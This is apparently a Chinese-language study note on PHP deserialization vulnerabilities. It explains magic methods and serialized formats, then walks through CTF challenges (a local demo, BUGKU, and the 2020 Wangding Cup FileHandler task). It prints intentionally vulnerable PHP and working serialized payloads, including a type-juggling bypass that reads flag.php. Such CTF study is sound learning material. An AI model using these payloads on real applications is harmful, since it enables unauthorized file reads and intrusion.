WEB漏洞—反序列化之PHP&JAVA全解(上)

WEB漏洞—反序列化之PHP&JAVA全解(上)

20210502110710

序列化就是将js对象序列化为字符串,反序列化就是将字符串反序列化为js对象,js中通过调用JSON方法,可以将对象序列化成字符串,也可以将字符串反序列化成对象

Snipaste_2022-04-12_21-37-50

而不管是java反序列还是php反序列,原理都是和js的一模一样,只不过可能函数有所区别

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;

反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

Snipaste_2022-04-12_21-43-26

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#PHP 反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

#触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法(魔术方法触发条件:1.反序列化2.存在类2.类中存在魔术方法)

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
例子 名称 结果
$a == $b 等于 TRUE,如果类型转换后 $a 等于 $b
$a === $b 全等 TRUE,如果 $a 等于 $b,并且它们的类型也相同。
$a != $b 不等 TRUE,如果类型转换后 $a 不等于 $b
$a <> $b 不等 TRUE,如果类型转换后 $a 不等于 $b
$a !== $b 不全等 TRUE,如果 $a 不等于 $b,或者它们的类型不同。
$a < $b 小与 TRUE,如果 $a 严格小于 $b
$a > $b 大于 TRUE,如果 $a 严格大于 $b
$a <= $b 小于等于 TRUE,如果 $a 小于或者等于 $b
$a >= $b 大于等于 TRUE,如果 $a 大于或者等于 $b

这里注意的是,三个等于号表示的是如果a等于b,在这个条件满足的情况下,然后还需要满足类型也需要满足

Snipaste_2022-04-12_21-51-34

例如:O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}
O代表对象;4代表对象名长度;2代表2个成员变量;其余参照如下

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0)
Null N;
Array a:size:{key definition;value definition;(repeated per element)}
Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

这是源文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);

include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];

if(unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(_FILE_);

class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>

还需要一个flag文件

1
2
3
<?php
$flag='xiaodi XI HUAN CHI XI GUA';
?>

直接访问的话是这样:

Snipaste_2022-05-24_17-01-15

然后加上这个:?str=s:6:”xiaodi”;

Snipaste_2022-05-24_17-01-40

原理:通过源码可以发现如果想要得到flag,那么就需要用反序列化的格式进行格式转化,这个下面也用在线网站的代码演示了

但是小迪老师访问的页面的源码是全部显示出来了,我这里并没有显示,不知道啥情况

在线PHP网站

1
2
3
4
<?php
$KEY = 'xiaodi123';
echo serialize($KEY);
?>

这里可以看到执行的结果是这个序列化的格式,如果想要还原就需要用反序列化

Snipaste_2022-05-24_16-45-29

1
2
3
4
<?php
$KEY = 's:9:"xiaodi123";';
echo unserialize($KEY);
?>

执行结果就是:

Snipaste_2022-05-24_16-46-45

这里需呀注意的是这里外面需要用单引号括起来,如果是用双引号就会报错,全部用双引号和单引号都会报错

如果这里是123?需要传入一个什么值

Snipaste_2022-05-24_17-17-32

用代码跑一下就完了

但是我这里改了,还是不能输入,不知道什么情况

BUGKU案例演示

链接:https://ctf.bugku.com/challenges/detail/id/109.html

Snipaste_2022-05-24_17-20-41

对网页进行抓包,发现有一个admin.css的文件

Snipaste_2022-05-24_17-24-51

Snipaste_2022-05-24_17-25-06

访问之后发现有一个?19267,然后访问这个地址

Snipaste_2022-05-24_17-25-23

得到源代码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['19267'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
?>

分析源码,发现突破口在于cookie,需要利用cookie传递精心构建的序列化字符串,且需要绕过if的第一个条件,然后获得flag

原理和小迪本地的那个例子一样

Snipaste_2022-05-24_17-29-40

转码,然后抓包,发到cookie中

Snipaste_2022-05-24_17-32-19

发现本来没有cookie,然后自己写一个,得到flag

魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>

Snipaste_2022-05-24_17-45-50

网鼎杯 2020 青龙大真题-有类魔术方法触发

链接:https://www.ctfhub.com/#/challenge

目的是使用自己构建的序列化字符串创造对象,获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

上半部分为类,下半部分为运行部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 根据后面的源码如果要正确获得flag,这里必须在运行process方法前,使op属性为2,这样process方法才会执行读文件操作,由于使用的是===进行比较所以这里可以用整型的数字2来进行绕过,也可以利用空格拼接数字2进行绕过
// $op = 2;
// $op = ' 2';
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

// 由于析构方法中op属性被指定为2,所以会执行read方法,之后执行putput方法输出文件内容
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

// 已经根据顶部的include引入,知道了flag.php的位置,确保filename属性为flag.php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
// 输出读取到文件的结果
private function output($s) {
echo "[Result]: <br>";
echo $s;
}

整理参数,运行一下代码,获得序列化字符串,然后成功获得flag

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler{
public $op=2;//源码告诉我们 op 为 1 时候是执行写入为 2 时执行读
public $filename="flag.php";//文件开头调用的是 flag.php
public $content="enderman";
}
$obj = new FileHandler();
$flag = serialize($obj);
echo $flag;
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:8:"enderman";}

Snipaste_2022-05-24_18-42-51

2绕过的过程:

Snipaste_2022-05-24_18-48-58

Snipaste_2022-05-24_18-49-30

扩展